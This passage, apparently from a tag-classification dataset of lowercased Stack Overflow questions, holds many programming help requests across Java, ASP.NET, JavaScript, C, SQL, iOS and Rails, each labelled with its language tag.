joptionpane.showmessagedialog(null   there was a problem connecting to the server    server error   joptionpane.error_message);         } </code></pre>   here is the coding for the processclients class in the server interface:   <pre><code>class processclients implements runnable {     //declares the socket     private socket s;     //declares the client number     private int clientnumber;     //declares the array for the user object     arraylist&lt;user&gt; array = new arraylist&lt;&gt;();      //constructor     public processclients(socket soc  int clientnum)     {         this.s = soc;         clientnumber = clientnum;      }      @override     public void run()     {         try         {             //declares datainputstream for retrieving data             datainputstream dis = new datainputstream(s.getinputstream());              dataoutputstream dos = new dataoutputstream(s.getoutputstream());                         //message to be displayed showing client number and date of connection             string connected =  \nconnected to client number:   + clientnumber +  \nconnection date:   + new date();             jtaresults.append(connected);             while(true)             {                 //message from the server responding to connection with client number  time and date                 string response =  \nserver response:\nconnected to server:\nclient number:   + clientnumber +  \nconnection date:   + new date();                  dos.writeutf(response);                 //input stream for the userid                 int userid = dis.readint();                 //input stream for the lastname                 string lastname = dis.readutf();                 //input stream for the firstname                 string firstname = dis.readutf();                 //input stream for the age                 int age = dis.readint();                 //creates user object                 user use = new user(userid  firstname  lastname  age);                 //mutator methods to set user objects                 use.setuserid(userid);                 use.setlastname(lastname);                 use.setfirstname(firstname);                                use.setage(age);                 //add object to array list                 array.add(use);                 //confirmation message regarding data received from client                 string confirm =  \n server response:\ndata received from client number:   + clientnumber +                          \nuser id:   + userid +  \nfirst name:   + firstname +  \nlast name:   + lastname +                           \nage:   + age +  \ndate received:   + new date();                 dos.writeutf(confirm);                 //displays the client number in the text area                 jtaresults.append( \n\n message from client number:   + clientnumber +  \n );                 //displays the user id in the text area                 jtaresults.append( user id:   + use.getuserid() +  \n );                 //displays the first name in the text area                 jtaresults.append( first name:   + use.getfirstname() +  \n );                 //displays the last name in the text area                 jtaresults.append( last name:   + use.getlastname() +  \n );                 //displays the age in the text area                 jtaresults.append( age:   + use.getage());                 jtaresults.append( \ndate received:   + new date());             }         }         catch(exception e)         {             joptionpane.showmessagedialog(null   there was a problem retrieving the data    server error   joptionpane.error_message);         }      } </code></pre>   here is the coding for the client class (gui coding excluded):   <pre><code>public clientapp()     {         interfaceproperties();         try         {             socket csocket = new socket( localhost   8100);             input = new datainputstream(csocket.getinputstream());             output = new dataoutputstream(csocket.getoutputstream());             string sresponse = input.readutf();             jtaresults.append(sresponse);         }         catch(exception e)         {             joptionpane.showmessagedialog(null   there was a problem connecting to the server    server error   joptionpane.error_message);         }     }      //method for connecting to the database         private void connectdb()         {             string query =  select * from studentinfo ;             try             {                 class.forname( com.mysql.jdbc.driver );                //connection                 connection conn = (connection)                         //root and username and password for access to the database                 drivermanager.getconnection( jdbc:mysql://localhost:3306/studentdb   root    );                  //create the statement that will be used                 statement stmt=conn.createstatement();                 resultset rs = stmt.executequery(query);                 while(rs.next())                 {                     int userid = rs.getint( userid );                     cboidnums.additem(userid);                  }             }             catch(exception e)             {                 joptionpane.showmessagedialog(null   an error occured while trying to connect to the database    connection error!   joptionpane.error_message);             }          }          public int idvalue;          private void searchdb(int id)         {             try             {                 idvalue = id;                 class.forname( com.mysql.jdbc.driver );                //connection                 connection conn = (connection)                         //root and username and password for access to the database                 drivermanager.getconnection( jdbc:mysql://localhost:3306/studentdb   root    );                  //create the statement that will be used                 preparedstatement stmt=conn.preparestatement( select * from studentinfo where userid =    + id +    );                  resultset rs = stmt.executequery();                 java.sql.resultsetmetadata rsmd = rs.getmetadata();                 int numcolumns = rsmd.getcolumncount();                  rs.first();                 int rowcount = 0;                 do                 {                     rowcount++;                 }                  while (rs.next());                  rs.first();                 int rowindex = 0;                 object array2d[][] = new object[rowcount][];                 do                  {                     array2d[rowindex] = new object[numcolumns];                     for (int i = 0; i &lt; numcolumns; i++)                      {                         array2d[rowindex][i] = rs.getobject(i + 1);                     }                       rowindex++;                 }                  while (rs.next());                 jtflastname.settext(array2d[0][2].tostring());                 jtffirstname.settext(array2d[0][1].tostring());                 jtfage.settext(array2d[0][3].tostring());               }             catch(exception e)             {                 joptionpane.showmessagedialog(null   there was a problem retrieving data    server error   joptionpane.error_message);             }         }          //declarng a click function         boolean clicked = true;          //method for the action listener         private void btnconnectoptionactionperformed(java.awt.event.actionevent evt)         {             if(clicked)             {                 //changes the butten text from  connect  to  disconnect                  btnconnectoption.settext( disconnect );                 clicked = false;                 connectdb();             }             else             {                 //changes the button text from  disconnect  to  connect                  btnconnectoption.settext( connect );                 clicked = true;                  //resets the text fields                 jtfage.settext(  );                 jtffirstname.settext(  );                 jtflastname.settext(  );                 //resets the combo box                 cboidnums.removeallitems();                 try                 {                     class.forname( com.mysql.jdbc.driver );                //connection                 connection conn = (connection)                         //root and username and password for access to the database                 drivermanager.getconnection( jdbc:mysql://localhost:3306/studentdb   root    );                 //closes the database connection                 conn.close();                 }                 catch(exception e)                 {                     joptionpane.showmessagedialog(null   the database does not want to disconnect    disconnection error   joptionpane.error_message);                 }             }         }          //method for the action listener         private void btnsendtoserveractionperformed(java.awt.event.actionevent evt)         {             try             {                 int userids = integer.parseint(cboidnums.getselecteditem().tostring());                 string lastnames = jtflastname.gettext();                 string firstnames = jtffirstname.gettext();                             int ages = integer.parseint(jtfage.gettext());                  output.writeint(userids);                 output.writeutf(lastnames);                 output.writeutf(firstnames);                 output.writeint(ages);                 output.flush();                 jtffirstname.settext(  );                 jtflastname.settext(  );                 jtfage.settext(  );                 string receive =  input.readutf();                 jtaresults.append(receive);             }             catch(exception ex)             {                 joptionpane.showmessagedialog(null   an error occured loading data from text fields!\nfields empty!    error!   joptionpane.error_message);             }         }          private void cboidnumsactionperformed(java.awt.event.actionevent evt)         {             try             {                 idvalue = integer.parseint(cboidnums.getselecteditem().tostring());                 searchdb(idvalue);             }             catch(exception e)             {                 joptionpane.showmessagedialog(null   database disconnected    disconnect successful   joptionpane.plain_message);             }         } </code></pre>,java
pass static class s string constant into clientside code  passing a serverside variable into a client isn t anything too rough   <pre><code>var variable =  &lt;%= servervaraible %&gt;   </code></pre>   where servervaraible is something accessible publicly in the codebehind  easy peasy    now lets say i have a static class as such   <pre><code>namespace server.helpers {    public static class querystringconstants      {        public static string carid =  carid ;      } } </code></pre>   why can t i go:     var variable =  &lt;%= server.helpers.querystringconstants.carid %>      if i do this i get an error saying   <pre><code> system.web.httpserverutility  does not contain a definition for  helpers  and no extension method  helpers  accepting a first argument of type  system.web.httpserverutility  could be found  </code></pre>   i am sure i am ment to be declaring something  but i am not 100% sure what......,asp.net
create dynamic variable inside for loop to access array  i have multiple arrays which has same prefix name.   <pre><code>    var region1 = [ 01   02   03   04   05   06   07 ];     var region2 = [ 08   09   11   12 ];     var region3 = [ 13 ];     var region4 = [ 14   22 ];     var region5 = [ 10   15   16   17   18   19   20 ];     var region6 = [ 21   23   24 ];     var region7 = [ 25   26   27   28   29   30 ];     var region8 = [ 31   33   36   37   38   39 ];     var region9 = [ 32   34   35   40   41   42   43   44   45   46   47 ];     var prefecture =  33 ; </code></pre>   based on prefecture value i want to display regions   <pre><code>    if(region1.indexof(prefecture) != -1){         $( .region1 ).show();         $( a.region1 ).addclass( regionselect );     }     else if(region2.indexof(prefecture) != -1){         $( .region2 ).show();         $( a.region2 ).addclass( regionselect );     }     else if(region3.indexof(prefecture) != -1){         $( .region3 ).show();         $( a.region3 ).addclass( regionselect );     }     else if(region4.indexof(prefecture) != -1){         $( .region4 ).show();         $( a.region4 ).addclass( regionselect );     }     else if(region5.indexof(prefecture) != -1){         $( .region5 ).show();         $( a.region5 ).addclass( regionselect );     }     else if(region6.indexof(prefecture) != -1){         $( .region6 ).show();         $( a.region6 ).addclass( regionselect );     }     else if(region7.indexof(prefecture) != -1){         $( .region7 ).show();         $( a.region7 ).addclass( regionselect );     }     else if(region8.indexof(prefecture) != -1){         $( .region8 ).show();         $( a.region8 ).addclass( regionselect );     } </code></pre>   which is working fine     but i am tried like this to minimize the code.   <pre><code>    for(var i=1; i&lt;=9; i++){         if( region +i.indexof(prefecture) != -1){             $( .region +i).show();                 $( .region +i).addclass( regionselect );         }     } </code></pre>   it says i.indexof is not defined,javascript
create a nullable type dynamically  i need to set the type variable to be a nullable one. e.g.    <pre><code>public type createnullable(type type){     if (type.isvaluetype)         return nullable&lt;type&gt;;      // is already nullable     return type; } </code></pre>   i m seeing as there are a finite amount of the valuetype  i figure i ll just create a dictionary of all the value types as nullable  and the return that. but am keen to see if there s a smarter way.,c#
saving function pointer passed by argument  i ve following declarations:   <pre><code>typedef void (*foo)(int op  int arg1  int arg2); void goo(foo f); {   body; } </code></pre>   and i want to store function f passed to goo in my code but the natural way of modifying body and adding global foo variable (i cannot change definition of goo but i m able to edit body):   <pre><code>foo _f; void goo(foo f); {   _f = f; } </code></pre>   is making segfaults. i d be grateful for any hints.,c
css: background-images base  is it possible to enter a base tag/declaration in css  something like in html  i need one because i use mod_rewrite and the url looks like that: domain.com/path/to/something/    so my background images aren t loading right (just index/home-page). all i can think of is to add the whole domain (which i have to change every time i update css on my webspace) but that i won t like to do.,css
.net same types in two different assemblies  i have an application that loads two assembly dlls. first dll is a common dll and the second dll has reference to another version of the first dll. all assemblies are unsigned.    app.exe  --> dll1_v1.dll  dll2.dll<br> dll2.dll --> dll1_v2.dll    both dll1_v1.dll and dll1_v2.dll have same types but different implementations.    if i have both dll1_v1.dll and dll1_v2.dll in the codebase path of the exe  then both get loaded and all object instances in app.exe point to dll1_v1.dll and in dll2 point to dll1_v2.dll.    if i need to point dll1_v2 to dll1_v1  is it correct to remove dll1_v2.dll from the codebase and add assemblyresolve event handler so i can return the assembly for dll1_v1.dll in place of dll1_v1.dll,.net
running .net application on localhost developed in vs 2017 gets an error  the requested operation requires elevation   i get elevation error when i tried running an .net application on localhost.<br> note: i am running the vs(2017) in admin mode also i have cleaned up the temp files  broswer cache. still i get the same error. i have tried changing the permission to the folder which contains my project (aspx pages etc). still no luck. plz help  find the trace below.   <pre><code>server error in  /  application. ________________________________________ the requested operation requires elevation description: an unhandled exception occurred during the execution of the  current web request. please review the stack trace for more information  about the error and where it originated in the code.   exception details: system.componentmodel.win32exception: the requested  operation requires elevation source error:  an unhandled exception was generated during the execution of the current web  request. information regarding the origin and location of the exception can  be identified using the exception stack trace below. [win32exception (0x80004005): the requested operation requires elevation]  [externalexception (0x80004005): cannot execute a program. the command being  executed was  c:\windows\microsoft.net\framework\v4.0.30319\csc.exe    /noconfig /fullpaths  @ c:\windows\microsoft.net\framework\v4.0.30319\temporary asp.net    files\root\088ff0ab\c996293c\r4kmtosv.cmdline .]  system.codedom.compiler.executor.execwaitwithcaptureunimpersonated(safeusertoken handle usertoken  string cmd  string currentdir  tempfilecollection tempfiles    string&amp; outputname  string&amp; errorname  string truecmdline) +2668  system.codedom.compiler.executor.execwaitwithcapture(safeusertokenhandle  usertoken  string cmd  string currentdir  tempfilecollection tempfiles     string&amp; outputname  string&amp; errorname  string truecmdline) +117  microsoft.csharp.csharpcodegenerator.compile(compilerparameters options   string compilerdirectory  string compilerexe  string arguments  string&amp;             outputfile  int32&amp; nativereturnvalue  string trueargs) +258      microsoft.csharp.csharpcodegenerator.fromfilebatch(compilerparameters       options  string[] filenames) +643     microsoft.csharp.csharpcodegenerator.system.codedom.compiler.icodecompiler.compileassemblyfromfilebatch(compilerparameters options  string[] filenames) +186   system.codedom.compiler.codedomprovider.compileassemblyfromfile(compilerparameters options  string[] filenames) +23 system.web.compilation.assemblybuilder.compile() +913 system.web.compilation.buildproviderscompiler.performbuild() +296 system.web.compilation.applicationbuildprovider.getglobalasaxbuildresult(boolean isprecompiledapp) +246    system.web.compilation.buildmanager.compileglobalasax() +29    system.web.compilation.buildmanager.ensuretoplevelfilescompiled() +298   [httpexception (0x80004005): cannot execute a program. the command being executed was  c:\windows\microsoft.net\framework\v4.0.30319\csc.exe  /noconfig /fullpaths @ c:\windows\microsoft.net\framework\v4.0.30319\temporary asp.net files\root\088ff0ab\c996293c\r4kmtosv.cmdline .]    system.web.compilation.buildmanager.reporttoplevelcompilationexception() +63    system.web.compilation.buildmanager.ensuretoplevelfilescompiled() +408    system.web.compilation.buildmanager.callappinitializemethod() +16    system.web.hosting.hostingenvironment.initialize(applicationmanager appmanager  iapplicationhost apphost  iconfigmappathfactory configmappathfactory  hostingenvironmentparameters hostingparameters    policylevel policylevel  exception appdomaincreationexception) +665   [httpexception (0x80004005): cannot execute a program. the command being executed was  c:\windows\microsoft.net\framework\v4.0.30319\csc.exe  /noconfig /fullpaths @ c:\windows\microsoft.net\framework\v4.0.30319\temporary asp.net files\root\088ff0ab\c996293c\r4kmtosv.cmdline .]     system.web.httpruntime.firstrequestinit(httpcontext context) +673     system.web.httpruntime.ensurefirstrequestinit(httpcontext context) +95     system.web.httpruntime.processrequestinternal(httpworkerrequest wr) +453 ________________________________________ version information: microsoft .net framework version:4.0.30319; asp.net  version:4.6.1055.0 </code></pre>,.net
jquery - hide all div except one class  here is my code :   <pre><code>  &lt;div id= principal  class= classxx &gt;     &lt;div class= class001 cat2 blabla &gt;       &lt;div class= class002 &gt;         &lt;div class= class003 &gt;&lt;/div&gt;         &lt;div class= class004 &gt;&lt;/div&gt;         &lt;div class= class005 &gt;&lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;     &lt;div class= class001 cat3 blabla &gt;       &lt;div class= class002 &gt;         &lt;div class= class003 &gt;&lt;/div&gt;         &lt;div class= class004 &gt;&lt;/div&gt;         &lt;div class= class005 &gt;&lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;     &lt;div class= class001 cat1 blabla &gt;       &lt;div class= class002 &gt;         &lt;div class= class003 &gt;&lt;/div&gt;         &lt;div class= class004 &gt;&lt;/div&gt;         &lt;div class= class005 &gt;&lt;/div&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt; </code></pre>   i need a function like :   <pre><code>function showonlycat(classname){} </code></pre>   if i call <code>showonlycat( cat3 )</code> i want to see only all the divs that have the  cat3  class (each div has multiple classes) and its children of course    and i also need a <code>showallcat()</code> that shows all the cat1  cat2  cat3... divs    thank you very much for your help,jquery
response code: 401 on asp .net web form  currently i am writing a web app to pull data from a database and display it dynamically using google charts. when i start the website i am alerted with an error when trying to post and am left with this error message:    <a href= https://i.stack.imgur.com/jc0xn.png  rel= nofollow noreferrer >error</a>    this is my code:    here is the .aspx file:   <pre><code>&lt;%@ page title=   language= c#  masterpagefile= ~/site.master  autoeventwireup= true  codebehind= googlechart.aspx.cs  inherits= googlechartswebform.googlechart  %&gt;  &lt;asp:content id= content1  contentplaceholderid= headcontent  runat= server &gt;     &lt;script src= scripts/jquery-3.3.1.js &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= https://www.google.com/jsapi &gt;&lt;/script&gt;      &lt;script&gt;         var chartdata; //global var for data         google.load( visualization    1   { packages: [ corechart ]});          //fill chart data            $(document).ready(function () {             $.ajax({                 url:  googlechart.aspx/getchartdata                   data:                     datatype:  json                   type:  post                   contenttype:  application/json; chartset=utf-8                   success: function (data) {                     chartdata = data.d;                 }                  error: function () {                     alert( error loading data! please try again! );                 }             }).done(function () {                 //after complete loading data                 drawchart();             });         });           function drawchart() {             var data = google.visualzation.arraytodatatable(chartdata);              var options = {                 title:  chart                   pointsize: 5             };             var linechart = new google.visualization.linechart(document.getelementbyid( chart_div ));             linechart.draw(data  options);         }      &lt;/script&gt; &lt;/asp:content&gt;  &lt;asp:content id= content2  contentplaceholderid= maincontent  runat= server &gt;     &lt;div id= chart_div  style= width: 800px; height: 400px; &gt;         &lt;%-- googlecharts webform will load here --%&gt;     &lt;/div&gt; &lt;/asp:content&gt; </code></pre>   and here is the .aspx.cs file   <pre><code>using system; using system.collections.generic; using system.linq; using system.web; using system.web.script.services; using system.web.services; using system.web.ui; using system.web.ui.webcontrols;  namespace googlechartswebform {     public partial class googlechart : system.web.ui.page     {         protected void page_load(object sender  eventargs e)         {          }         [webmethod]         [scriptmethod(responseformat = responseformat.json)]         public static object[] getchartdata()         {             list&lt;table&gt; data = new list&lt;table&gt;();             //here db entity is our db context             using(databaseentities dc = new databaseentities())             {                 data = dc.tables.tolist();             }             var chartdata = new object[data.count + 1];             chartdata[0] = new object[]             {                  month                    totalsales              };              int j = 0;             foreach (var i in data)             {                 j++;                 chartdata[j] = new object[] { i.month  i.totalsales };             }             return chartdata;         }     } } </code></pre>   i don t see anything that would be wrong with this. i am thinking that the error may be when it is trying to access the database. i am fairly new to asp.net so am coming to you guy for some answers. excuse me if this may seem to broad of a question.,asp.net
is it possible to have a pop up menu with tab item clicked in android   i have five tabs   4th one is for messages   i want when the user clicks on it first see a popup menu with last 10 messages displayed by a list view then by clicking on anyone of them the clicked message will be opened. but now i want to make a pop up menu when message tab clicked   i know its possible with action bar   and with simple button   but here i want to have a pop up menu instead of activity  is that possible,android
objective c: expression is not assignable when using bracket syntax  but works when dot syntax is used  so  i have the following method:   <pre><code>- (void)setcontaineditem:(bnritem *)item {     _containeditem = item;     [item container] = self; } </code></pre>   this results in an error that says: expression is not assignable.  however using the dot syntax works:   <pre><code>- (void)setcontaineditem:(bnritem *)item {     _containeditem = item;     item.container = self; } </code></pre>   any thoughts,objective-c
cell padding balloons in xcode 9  the problem is that i m getting too much of it in relation to line length and text-wrapping.    here is the code i added to the view controller s viewdidload():   <pre><code>tableview.estimatedrowheight = 80 tableview.rowheight = uitableviewautomaticdimension </code></pre>   here s the code i added to the message cell s configurecell() function to try to solve the problem:   <pre><code>self.sizetofit() self.layoutifneeded() </code></pre>   and finally  here s a screen-shot of the constraints i ve applied. <a href= https://i.stack.imgur.com/3rdvl.png  rel= nofollow noreferrer >message label constraints</a>    despite all of these attempts to solve the problem  my cells keep ballooning geometrically as i add more text. any suggestions on a fix     edit: here s what the problem looks like: <a href= https://i.stack.imgur.com/r52ws.png  rel= nofollow noreferrer >ballooning cells cemos</a>,ios
how can we limit the gesture property in iphone sdk   ha ii  i am doing a reader application which have chapters in it i have done the swipe recognition property in tableview for reloading tableview with next and previous chapters right-swipe for next and left swipe for previous.and at the same time i added button for same function in button click the problem is when the chapter ends that means the book containing only 9 chapters and if i reach the 9th chapter the swipe propert for right have to be stopped and vice versa.but i have done it in button by disabling the button if the chapter 9 loda it atomatically disabled the button so the user didnt tap the button i want this same methode in my swipe right and left function>how to do this this is my code for swipe   <pre><code>uiswipegesturerecognizer *swipegesture = [[uiswipegesturerecognizer alloc] initwithtarget:self action:@selector(handleswipegesture:)];     swipegesture.direction = uiswipegesturerecognizerdirectionright; // or whatever     [table addgesturerecognizer:swipegesture];     [swipegesture release];     uiswipegesturerecognizer *swipegestureleft = [[uiswipegesturerecognizer alloc] initwithtarget:self action:@selector(handleswipegestureleft:)];     swipegestureleft.direction = uiswipegesturerecognizerdirectionleft; // or whatever     [table addgesturerecognizer:swipegestureleft];     [swipegestureleft release]; -(void) handleswipegesture:(uiswipegesturerecognizer*)recognizer {      delegate.selectedchapter = [nsstring stringwithformat:@ %d  [delegate.selectedchapter intvalue] + 1];     [delegate reloadverses];     [self resetreadviewtoverse:1];  } </code></pre>   edit:::     -(void) handleswipegestureleft:(uiswipegesturerecognizer*)recognizer {   <pre><code>    delegate.selectedchapter = [nsstring stringwithformat:@ %d  [delegate.selectedchapter intvalue] - 1];     [delegate reloadverses];     [self resetreadviewtoverse:1];  } </code></pre>   this is the method where i hides the button or disabled the button here i want to stop and start the gesture.please help me. thanks in advance. thanks in advance. edit   <pre><code>-(void)resetreadviewtoverse:(int)verseno; {     if(![delegate.selectedchapter isequaltostring:@ 1 ])     {         previousbutton.enabled = yes;          table.tableheaderview =previousbutton;       }     else     {         previousbutton.enabled = no;         table.tableheaderview =nil;      }      if(![delegate.selectedchapter isequaltostring:[nsstring stringwithformat:@ %d  [dbhandler mnumberofchaptersinbook:delegate.selectedbook]]])     {         nextbutton.enabled =yes;         table.tablefooterview =nextbutton;       }     else     {         nextbutton.enabled = no;         table.tablefooterview =nil;      }     -(void) handleswipegesture:(uiswipegesturerecognizer*)recognizer {        if(![delegate.selectedchapter isequaltostring:[nsstring stringwithformat:@ %d  [dbhandler mnumberofchaptersinbook:delegate.selectedbook]]]) {         // if the currentchapter is the last then do nothing          delegate.selectedchapter = [nsstring stringwithformat:@ %d  [delegate.selectedchapter intvalue] + 1];          [delegate reloadverses];          [self resetreadviewtoverse:1];     }     return;    } -(void) handleswipegestureleft:(uiswipegesturerecognizer*)recognizer {      if(![delegate.selectedchapter isequaltostring:@ 1 ])     {         delegate.selectedchapter = [nsstring stringwithformat:@ %d  [delegate.selectedchapter intvalue] - 1];         [delegate reloadverses];         [self resetreadviewtoverse:1];      }     return;   } </code></pre>,iphone
clearing a password text box in asp.net  i have two boxes one with username [text] and one with password [password].     i m using this code in the codebehind:   <pre><code>  protected void button2_click1(object sender  eventargs e)     {         textbox1.text =   ;         textbox2.text =   ;     } </code></pre>   [asp.net/html]   <pre><code>&lt;asp:textbox id= textbox2  runat= server  height= 24px  style= text-align: center  width= 209px  textmode= password &gt;&lt;/asp:textbox&gt; </code></pre>   the first text box clears but the second doesn t. is there a special way to do this in asp.net,asp.net
in ruby and rails how to remove hyper link  i am new to this how to remove the hyperlink from this but also display the symbol details(<code>:number_of_weight</code>)    <pre><code>(&lt;%= link_to data[:number_of_weights]  lrs_lane_path(lane.id) %&gt; tones)     </code></pre>,ruby-on-rails
difference between casting/conversion methods in c#  there are many ways to cast/convert object to another by what the difference between those and if there is no difference why there are so many ways to achieve one thing  isn t that damage to language     let s say object obj to string.   <pre><code>obj.tostring() obj as string (string)obj convert.tostring(obj) </code></pre>,c#
multiple localisable strings referring to a common shared string  there are several places in my gui where the same string is used  however to make things easier for translators and testers to reference  and also to allow for the future possibility that the strings might change in different places i would like to do something like the following in the localization file:   <pre><code> shared_dialog_text  =  shared in several places ;  dialog_a  =  shared_dialog_text ;  dialog_b  =  shared_dialog_text ;  dialog_c  =  shared_dialog_text ; </code></pre>   obviously this won t work and i m using it for illustrative purposes of what i d like to do. is a resource referring to an earlier resource possible,ios
how do i check if an alarm is currently set   i am trying to program a simple c application that takes user input and sets an <code>alarm()</code> based on it. however  if there is already an alarm set  i don t want the user to overwrite it  so i need a way to check if an alarm has been set without overwriting the current alarm. how could i do this,c
doing multilanguage routes with maproute  i want users can access to my website with   <pre><code>english version: web.com/news/bla-bla spanish version: web.com/noticias/bla-asdf ... </code></pre>   and i think that modify routeconfig.cs is the solution  but i don t know how do it exactly. i accept solutions that don t be maproute.    my 1st failed test:   <pre><code>namespace mywebsite {     public class routeconfig     {             routes.maproute(                 name:  default                   url: {id}                  defaults:                     // in a web running in a server i should use local resources                     if ({id} == ( about  ||  sobre  ||  sur ))                     {                         defaults: new { controller =  home   action =  about }                     }         }     } } </code></pre>   my 2nd failed test: error: (additional information: a route named  about  is already in the route collection. route names must be unique.) --> i can t  relink  a route.   <pre><code>        string[] about = {  about    sobre    sur  };         for (int i = 0; i &lt; about.length; i++)         {             //if ({id}.equals(about[i])             routes.maproute(                 name:  about                   url: about[i]                  defaults: new { controller =  home   action =  about }         ); </code></pre>,asp.net
avg of sum in sql  here s my code:   <pre><code>select b1_cod  sb1030.b1_desc  b2_cm1  b2_qatu  sum (b2_qatu) from sb1030  inner join sb2030 on b1_cod = b2_cod where (b1_tipo= pa ) and (b2_qatu &lt;&gt;  0 ) </code></pre>   i d like to:   <ul> <li>multiply <code>b2_cm1</code> by <code>b2_qatu</code> creating <code>b2_val</code></li> <li>sum all <code>b2_qatu</code> with same <code>b1_cod</code> creating <code>b2_sal</code></li> <li>divide <code>b2_val</code> by <code>b2_sal</code></li> </ul>   could anyone help me         thanks,sql
how do i count the number of occurrences of a list of items in another .txt file   i have a list of words and i want to find how many times they occur in a .txt file.  the word list is something like as follows:   <pre><code>wordlist = [ cup    bike    run ] </code></pre>   i want to be able to not only pick up these words  but also things like cup  biker  running  cups  etc.  so i think i need a regular expression.  here is what i was thinking but it doesn t work:   <pre><code>len(re.findall(wordlist  filename  re.i)) </code></pre>   thanks in advance!,python
comparison of two dna sequences in c  i would like to compare two dna sequences in c. how can i compare two strings and gets the difference     let s say:    seq_a:     <code>gatcaacgcaaaggactaagcactgctgccaaa</code>    and    seq_b:     <code>gatcaacgcaaaggactaagcactgctgcctgc</code>    result: tgc or <code>gatcaacgcaaaggactaagcactgctgcc***</code>,c
frames not working in html  i am learning html and was creating frames which is not working for me. not sure why  below is my code  please suggest on reason why it is not working. browser renders me a blank page.    html :   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt; frames &lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;frameset cols= 25% 75% &gt; &lt;frame src= links.html  name= links /&gt; &lt;frame src= main.html  name= content /&gt; &lt;/frameset&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   links html   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt; links &lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;h3&gt;links&lt;/h3&gt; &lt;ul style= link-style-type:square &gt; &lt;li&gt; &lt;a href= main.html  target= content &gt;home&lt;/a&gt;&lt;/li&gt; &lt;li&gt; &lt;a href= contactus.html  target= _parent &gt;contact us&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;h3&gt;search&lt;/h3&gt; &lt;ul style= link-style-type:square &gt; &lt;li&gt; &lt;a href= http://google.com  target= _blank &gt;google.com&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   main.html   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt; main &lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;h3 align= center &gt;welcome to foddies&lt;/h3&gt; &lt;p&gt; -: about us :-  established in 2015. we are a leading food chain spread in 23 countries with all type of cusines :) &lt;/body&gt; &lt;/html&gt; </code></pre>,html
uialertview with defined dismiss time doesn t appear  i wanted to do a popup that disappear after some time (it is for jailbroken device  and the popup only appears when people press a button)  but the problem is that it doesn t appear  i tried doing a normal alertview and it worked :/    here is the code:   <pre><code>-(void)update  {  //do stuff  uialertview *alertview = [[uialertview alloc] initwithtitle:@ title                 message:@ message!                   delegate:self               cancelbuttontitle:@                 otherbuttontitles:nil];   [alertview show];    [self performselector:@selector(dismissalertview:) withobject:alertview afterdelay:1.7f];    [alertview release];  }  -(void)dismissalertview:(uialertview *)alertview {     [alertview dismisswithclickedbuttonindex:0 animated:yes]; } </code></pre>,objective-c
automatically object creation when class is imported without any other call in objective-c  i need create a library for an ios application  that will be auto allocated without any other call excepting #import nameofheader.h     how can i do this.,objective-c
rails acts_as_tenant seed data  i m using the <code>gem  acts_as_tenant </code> in a rails 3 project.    i would like to seed new data every time a new tenant is added - but only for the new tenant.    is there a way to pass a variable to <code>rake db:seed</code>     something like:   <pre><code>rake db:seed -tenant=5 </code></pre>   thanks for the help!,ruby-on-rails
why does this program give the following output   when i ran this program it gave an output of    1  4  4    why does sizeof( a ) gives 4 bytes  is  a  treated as integer  if so  then why    <pre><code>#include&lt;stdio.h&gt;  int main() { char ch =  a ; printf( %d  %d  %d   sizeof(ch)  sizeof( a )  sizeof(3.14f)); return 0; } </code></pre>   moreover  when i replace   <pre><code>printf( %d  %d  %d   sizeof(ch)  sizeof( a )  sizeof(3.14f)); </code></pre>   with    <pre><code>printf( %d  %d  %d   sizeof(ch)  sizeof( a )  sizeof(3.14f)); </code></pre>   it gives the output     1  2  4    which is even more confounding.    p.s.: i used compileonline.com to test this code.,c
contact form actually does not create submit button  how can i fix this  <pre><code>&lt;div align= center &gt;     &lt;fieldset&gt;         &lt;form action= contact_submit.php  method= post &gt;             &lt;i&gt;questions or comments  would like to see new things on the site  email any suggestions or concerns to the site administrator and you ll get a reply as soon as possible!&lt;/i&gt;&lt;br/&gt;             &lt;br/&gt;             your name             &lt;input type= text  name= cf_name &gt;             &lt;br/&gt;             your email address             &lt;input type= text  name= cf_email &gt;             &lt;br/&gt;             message             &lt;textarea name= cf_message &gt;             &lt;br/&gt;             &lt;input type= submit  value= send &gt;             &lt;br/&gt;             &lt;input type= reset  value= clear &gt;             &lt;br/&gt;         &lt;/form&gt;     &lt;/fieldset&gt; &lt;/div&gt; </code></pre>   not sure how to fix  would be really grateful for any help!,html
find unique users grouped by month - sql  i have the following table and i d like to find the total number of unique users who have triggered <strong>only</strong> event  b  for example. and then group it by months.    <strong>table</strong>    <img src= https://i.stack.imgur.com/pbkp5.png  alt= enter image description here >    thanks in advance.,sql
ios static table cell border is behind text view  when adding a textview directly below a table cell xcode removes the last border. how exactly do you get that back     <img src= https://i.imgur.com/fhdfowk.png  alt= simulator >    <img src= https://i.imgur.com/0eifekl.png  alt= layout >,ios
rails 3 - accessing sort value in form  i have a table which needs column wise sorting  there will be up/down arrow images on each of the headers  when its clicked the control passes to the javascript file which returns the sorting value to the function in the controller and the sorting should be done.below are some of the code for reference.    index.html.erb   <pre><code>  &lt;input type= hidden  id =  sort  value= &lt;%= @sort %&gt; &gt;       &lt;% if @sort == 1 %&gt;           &lt;img id= sort_no  src= &lt;%=asset_path( sales_info_management/down_normal.gif )%&gt; &gt;       &lt;% else %&gt;           &lt;img id= sort_no  src= &lt;%=asset_path( sales_info_management/up_active.gif )%&gt; &gt;       &lt;% end % </code></pre>   details_controller.rb   <pre><code>def itemize  @details = detail.all  @sort = 0   respond_to do |format|    format.html # itemize.html.erb    format.json { render :json =&gt; @details }  end end  def sort  @sort = params[ sort_type ].to_i   respond_to do |format|    format.html  end end </code></pre>   sort.js   <pre><code>function sort_sales_informations(path){   var params = new array();   var sort = $( #sort ).val();   sort = sort == 0   1 : 0   params[ sort_type ] = sort;   path = build_url(path  params);   $.get(path  function(data) {  }); } </code></pre>   at present after changing the sort value from the javascript file am not being able to pass it to the form where &lt;%= 